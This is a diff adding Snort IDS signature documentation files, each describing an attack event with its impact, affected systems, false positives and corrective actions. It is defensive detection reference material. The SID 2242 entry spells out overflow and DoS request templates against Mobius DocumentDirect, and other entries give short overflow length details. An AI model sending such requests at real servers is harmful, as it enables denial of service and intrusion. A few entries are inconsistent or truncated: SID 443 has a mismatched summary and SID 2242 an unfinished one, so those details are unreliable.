+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000340.txt
+++ snort-2.8.5.2/doc/signatures/100000340.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000340
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "V-Webmail" application running on a webserver. Access to the file "pop3.php" using a remote file being passed as the "CONFIG[pear_dir]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "CONFIG[pear_dir]" parameter in the "pop3.php" script used by the "V-Webmail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using V-Webmail
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1050.txt
+++ snort-2.8.5.2/doc/signatures/1050.txt
@@ -0,0 +1,53 @@
+Rule:
+--
+Sid:
+1050
+--
+Summary:
+This event is generated when a request is made to a webserver using the 
+the command 'GETPROPERTIES'. This may be an indication that a buffer 
+overflow attack may be in process.
+--
+Impact:
+If successful, this attack will allow attackers to run code of their 
+choosing on the victim server.
+--
+Detailed Information:
+The web publishing feature in iPlanet Web Server 4.1 is vulnerable to a 
+buffer overflow.
+--
+Affected Systems:
+iPlanet Web Server 4.1 up to Service Pack 8
+--
+Attack Scenarios:
+An attacker can spawn a remote shell on the server and execute any 
+command they desire.
+--
+Ease of Attack:
+Difficult.  Exploit code does not appear to exist as of June 2003, so an
+attacker would need to write the code themselves.
+--
+False Positives:
+Legimate uses of web publishing.
+--
+False Negatives:
+This vulnerability can be exploited using any number of web publishing 
+commands, however this rule only generates an event on one specific 
+command (GETPROPERTIES).
+--
+Corrective Action:
+Disable web publishing or upgrade your web server software.
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen <kevin.peuhkurinen@hepcoe.com>
+
+-- 
+Additional References:
+
+NTBugtraq Archive:
+http://archives.neohapsis.com/archives/ntbugtraq/2001-q2/0035.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1027.txt
+++ snort-2.8.5.2/doc/signatures/1027.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1027
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-21.txt
+++ snort-2.8.5.2/doc/signatures/122-21.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-21
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a udp
+filtered portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1239.txt
+++ snort-2.8.5.2/doc/signatures/1239.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1239
+
+--
+Summary:
+This event is generated when an attempt is made to execute the RFParalyze DoS
+exploit.
+
+--
+Impact:
+If the destination machine is vulnerable, it may start behaving
+unpredictably.  Succesful exploitation may lead to a full system crash 
+or may cause certain services to become unavailable.
+
+--
+Detailed Information:
+This signature triggers on execution of RFParalyze, an exploit written 
+in 2000 by Rain Forest Puppy.  It was based on a binary exploit called 
+"whisper", which was used in the wild at that time.  This exploit 
+performs a NetBIOS session request with a source host of NULL, which is 
+incorrectly handled by Windows 95/98 hosts.
+
+--
+Affected Systems:
+	Windows 95
+	Windows 98
+
+--
+Attack Scenarios:
+An attacker can crash critical machines, thereby
+preventing them from being accessed by legitimate clients.
+
+--
+Ease of Attack:
+Simple.  Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+Potential future versions of this exploit, which may use
+different message strings, will not be detected by this rule.
+
+--
+Corrective Action: 
+Patches are not available from the vendor.
+
+Use a packet filtering firewall to block inbound traffic to port 139/TCP from
+all untrusted networks & hosts
+
+Upgrade critical machines to a more recent and supported version of the
+operating system.
+
+--
+Contributors:
+Snort documentation contributed by Maarten Van Horenbeeck (maarten@daemon.be)
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/939.txt
+++ snort-2.8.5.2/doc/signatures/939.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+939
+
+--
+
+Summary:
+This event is generated when an attempt is made to use a Frontpage 
+client to connect and/or publish content to a Frontpage Server 
+Extensions-enabled IIS web server. 
+
+--
+
+Impact:
+An attacker can modify your web content, access privileged files or 
+modify other users' privileges on the Frontpage-enabled virtual host.
+
+--
+
+Detailed Information:
+Microsoft Frontpage is a web-content managing and publishing 
+application, which also comes with server extensions for Microsoft IIS 
+and Apache web servers. The extensions enable the servers to display 
+dynamic content, as well as perform certain levels of web-server 
+administration.
+
+--
+
+Affected Systems:
+All systems running FPSE on IIS.
+
+--
+
+Attack Scenarios:
+An attacker can gain the FPSE username and password via sniffing, social
+engineering or brute force guessing. After successfully logging on to 
+the system, the attacker can alter web contents, modify login 
+information for other users and generally control the web server.
+
+--
+
+Ease of Attack:
+After gaining the login credentials the attack is trivial. 
+
+--
+
+False Positives:
+If FrontPage authoring is allowed from resources external to the 
+protected network this rule will generate an event.
+
+--
+
+False Negatives:
+not known.
+
+--
+
+Corrective Action:
+Disable FPSE if it is not needed for web-content management.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Chaos <c@aufbix.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+
+Additional References:
+
+eEye Digital Security:
+http://www.eeye.com/html/research/advisories/AD20001222.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1144.txt
+++ snort-2.8.5.2/doc/signatures/1144.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1144
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2560.txt
+++ snort-2.8.5.2/doc/signatures/2560.txt
@@ -0,0 +1,71 @@
+Rule: 
+
+--
+Sid: 
+2560
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Oracle Application Server Web Cache.
+
+-- 
+
+Impact: 
+Serious. Possible execution of arbitrary code leading to remote
+administrative access.
+
+--
+Detailed Information:
+The Oracle Application Server Web Cache is vulnerable to a buffer
+overrun caused by poor checking of the length of an HTTP Header. If a
+large invalid HTTP Request Method is supplied to a vulnerable system, an
+attacker may be presented with the opportunity to overrun a fixed length
+buffer and subsequently execute code of their choosing on the server.
+
+--
+Affected Systems:
+Oracle Application Server Web Cache 10g 9.0.4 .0
+Oracle Oracle9i Application Server Web Cache 2.0 .0.4
+Oracle Oracle9i Application Server Web Cache 9.0.2 .3
+Oracle Oracle9i Application Server Web Cache 9.0.2 .2
+Oracle Oracle9i Application Server Web Cache 9.0.3 .1
+
+--
+
+Attack Scenarios: 
+An attacker might supply an HTTP Request Method of more than 432 bytes,
+causing the overflow to occur.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines Oracle Web Cache server on port 7777 or 7778.  It is possible
+to configure the Oracle Web Cache server to run on different ports.  The rule
+should be configured to reflect the appropriate ports of Oracle Web Cache
+servers on your network.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1895.txt
+++ snort-2.8.5.2/doc/signatures/1895.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 1895
+
+--
+Summary:
+This event is generated when an attempt is made to exploit 
+vulnerable versions of the Kerberos version 4 administration daemon 
+(kadmind).
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code or gain unauthorized access to the target host along with other hosts in the kerberos realm.
+
+--
+Detailed Information:
+kadmind is used to administer a Kerberos database on the master key distribution center (KDC) of a kerberos realm.
+
+A buffer overflow condition exists in kadmind4 such that when the daemon parses a length value in an administration request the attacker can gain the ability to execute arbitrary code with the privileges of the user running the daemon, usually root.
+
+Authentication is not required to cause the overflow.
+
+Affected Systems:
+	Multiple vendors using kadmind version 4
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-29.html
+http://www.kb.cert.org/vuls/id/875073
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1235
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3069.txt
+++ snort-2.8.5.2/doc/signatures/3069.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3069
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"fetch" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1056.txt
+++ snort-2.8.5.2/doc/signatures/1056.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1056
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/829.txt
+++ snort-2.8.5.2/doc/signatures/829.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+829
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/227.txt
+++ snort-2.8.5.2/doc/signatures/227.txt
@@ -0,0 +1,56 @@
+Rule:
+--
+Sid:
+227
+
+--
+Summary:
+This event is generated when a Stacheldraht handler attempts to confirm that an agent has the ability to spoof a source IP.
+
+--
+Impact:
+Severe. This indicates that a Stacheldraht agent exists on the destination host. 
+
+--
+Detailed Information:
+The Stacheldraht DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack.  
+
+There are "handler" hosts that are used to coordinate the attacks and "agent" hosts that launch the attack.  In order for an agent host to make a good participant in a distributed denial of service, it must be able to spoof source IPs to elude detection.  After a host becomes an agent, a test is conducted to see whether the agent can spoof a source IP.  If the handler receives such a communication from the agent, it responds with an ICMP echo request with an ICMP identification number of 1000 and a content of "spoofworks" in the payload. 
+
+--
+Affected Systems:
+Any Stacheldraht compromised host.
+
+--
+Attack Scenarios:
+A host on which a Stacheldraht agent has been installed will attempt to send a packet with a spoofed source IP to the handler. If the handler receives this communication, it will reply to the agent informing it that all 32 bits of source IP of DDoS traffic can be spoofed. 
+
+--
+Ease of Attack:
+Simple. Stacheldraht code is freely available. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Use egress filtering in your network to prevent traffic leaving your network that is not part of the internal address space so source IPs cannot be spoofed.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS192
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1688.txt
+++ snort-2.8.5.2/doc/signatures/1688.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1688
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2737.txt
+++ snort-2.8.5.2/doc/signatures/2737.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2737
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_nchar
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2948.txt
+++ snort-2.8.5.2/doc/signatures/2948.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2948
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2242.txt
+++ snort-2.8.5.2/doc/signatures/2242.txt
@@ -0,0 +1,69 @@
+Rule:  
+
+--
+Sid:
+2242
+
+--
+Summary:
+This event is generated when an attempt is made to 
+
+--
+Impact:
+Serious. Denial of Service and Execution of arbitrary code are both
+possible
+
+--
+Detailed Information:
+Mobius DocumentDirect for the Internet 1.2 contains programming errors
+which can present an attacker with the opportunity to issue a Denial of
+Service condition against the affected host and also the possiblity to
+execute arbitrary code.
+
+--
+Affected Systems:
+	Mobius DocumentDirect for the Internet 1.2
+
+--
+Attack Scenarios:
+According to David Litchfield and Mark Litchfield the following
+scenarios are possible:
+
+DoS:
+GET /ddrint/bin/ddicgi.exe?[string at least 1553 characters long]=X HTTP/1.0
+
+Buffer overflow:
+GET /ddrint/bin/ddicgi.exe HTTP/1.0\r\nUser-Agent: [long string of characters]\r\n\r\n
+
+The attacker could also supply a username greater than 208 characters
+which will cause a DoS condition to occur.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1657
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2715.txt
+++ snort-2.8.5.2/doc/signatures/2715.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2715
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure begin_load
+. This procedure is included in
+dbms_offline_snapshot.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/443.txt
+++ snort-2.8.5.2/doc/signatures/443.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+
+Sid:
+443
+
+--
+
+Summary:
+This event is generated when an ICMP Router Selection message is found on the network.
+
+--
+
+Impact:
+
+--
+
+Detailed Information:
+ICMP Address Mask Requests are defined in RFC 950 as the third method hosts may support for determing the address mask correspoding to its IP address.  In most implementations this method is not supported, and should not be normal traffic on most networks.  
+
+--
+
+Attack Scenarios:
+Attackers may use this ICMP Type to gather information about the subnet masks of a given network.
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate ICMP Address Mask Requests.
+--
+
+False Positives:
+Legitimate uses of ICMP Address Mask Requests exist.  Some hosts my implement this method as the final fall back option after static configuration and dynamic address mask configuration has failed.
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 17 should be blocked at the upstream firewall.  This type of ICMP request should never originate from a host outside of the protected network.
+--
+
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2353.txt
+++ snort-2.8.5.2/doc/signatures/2353.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2353
+
